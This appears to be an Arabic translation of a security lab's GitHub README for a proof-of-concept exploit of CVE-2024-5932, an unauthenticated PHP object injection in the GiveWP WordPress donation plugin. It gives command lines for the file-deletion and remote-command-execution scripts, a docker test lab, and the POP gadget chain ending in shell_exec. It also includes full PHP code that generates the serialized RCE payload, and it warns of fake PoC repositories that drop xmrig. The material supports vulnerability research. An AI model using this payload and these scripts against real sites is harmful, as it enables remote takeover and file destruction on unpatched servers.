استغلال لإثبات المفهوم لـ CVE-2024-5932، وهو ثغرة حقن كائن PHP في إضافة GiveWP لووردبريس، مما يتيح تنفيذ كود عن بعد غير مصادق عليه وحذف ملفات عشوائية عبر سلسلة POP.
هذا المنشور هو مقال بحثي نشر بواسطة EQSTLab.
توجد حاليًا مستودعات PoC مزيفة على GitHub تقوم بتشغيل xmrig. تحقق من الرابط أدناه لمزيد من المعلومات:
الرابط1: https://x.com/win3zz/status/1828704644987511107
الرابط2: https://x.com/bornunique911/status/1828712791844524453
الرابط3: https://x.com/Chocapikk_/status/1828801346637856841
★ CVE-2024-5932 حذف الملفات التعسفي و PoC لتنفيذ الأوامر عن بُعد ★
https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7
25 أغسطس : تم رفع PoC لحذف الملفات لـ CVE-2024-5932
26 أغسطس : نجحنا في تنفيذ أوامر عشوائية باستخدام CVE-2024-5932، لكننا ندرس الإفصاح نظرًا للتأثير.
27 أغسطس : وجدنا تحليلاً تفصيليًا لـ PoC في منشور بقلم Julien Ahrens من RCE Security وقررنا نشر PoC الخاص بنا لتنفيذ الأوامر عن بُعد. قمنا برفع PoC إضافي لتنفيذ الأوامر عن بُعد باسم CVE-2024-5932-rce.py.
CVE-2024-5932 : ثغرة حقن كائنات PHP في GiveWP الوصف: إضافة GiveWP للإضافات الخيرية ومنصة جمع التبرعات في ووردبريس معرضة لحقن كائنات PHP في جميع الإصدارات حتى 3.14.1 شاملة، وذلك من خلال إلغاء تسلسل إدخال غير موثوق من وسيط 'give_title'. وهذا يسمح للمهاجمين غير المصادق عليهم بحقن كائن PHP. يؤدي وجود سلسلة POP إلى تمكين المهاجمين من تنفيذ الأكواد عن بُعد، وحذف الملفات التعسفية.
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932
pip install -r requirements.txt
# حذف ملف تعسفي
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(رابط نموذج التبرع)> -f <FILE_TO_DELETE(اسم الملف المراد حذفه)>
# تنفيذ أوامر عن بُعد
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(رابط نموذج التبرع)> -c <COMMAND_TO_EXECUTE(الأمر المراد تنفيذه)>
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-5932.py

CVE-2024-5932-rce.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



أولاً، ادخل إلى شل ووردبريس باستخدام الأمر التالي:
docker exec -it -u root docker-wordpress-1 /bin/bash
إذا كان الملف مملوكًا للمستخدم root، فقد لا يتم حذفه بسبب صلاحيات الوصول. لذلك، تحتاج إلى تغيير ملكية الملف الاختباري باستخدام الأمر التالي:
touch test && chown www-data test

يمكنك تصحيح أخطاء GiveWP باستخدام PHPSTORM.
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address (عنوان PHPSTORM الخاص بك)}
xdebug.client_port={your_PHPSTORM_debugging_port (منفذ التصحيح الخاص بك)}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..وبعد ذلك يمكنك تصحيح أخطاء ووردبريس الخاص بك.


في هذه النقطة، تقوم دالة get_meta() بإلغاء تسلسل القيمة "give_title" المحفوظة مسبقًا.
switch ( $key ) {
case 'title':
$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
break;
...
strip_tags: استبدال القيم الخالية -> باستخدام \0
stripslashes_deep: استبدال الخطوط المائلة العكسية -> باستخدام \\\\
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (إرجاع نص الأمر)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
سلسلة POP تسمح بتنفيذ الأوامر عن بُعد.

باستخدام TCPDF، يمكن استغلال حذف الملفات التعسفي.
هذا المستودع ليس مخصصًا ليكون استغلالًا لحقن الكائنات لـ CVE-2024-5932. الغرض من هذا المشروع هو مساعدة الأشخاص في التعرف على هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة.
نقوم بنشر تحليل الثغرات والبرامج الضارة مرة واحدة شهريًا. إذا كنت مهتمًا، يرجى متابعة الروابط أدناه للاطلاع على منشوراتنا. https://www.skshieldus.com/eng/business/insight.do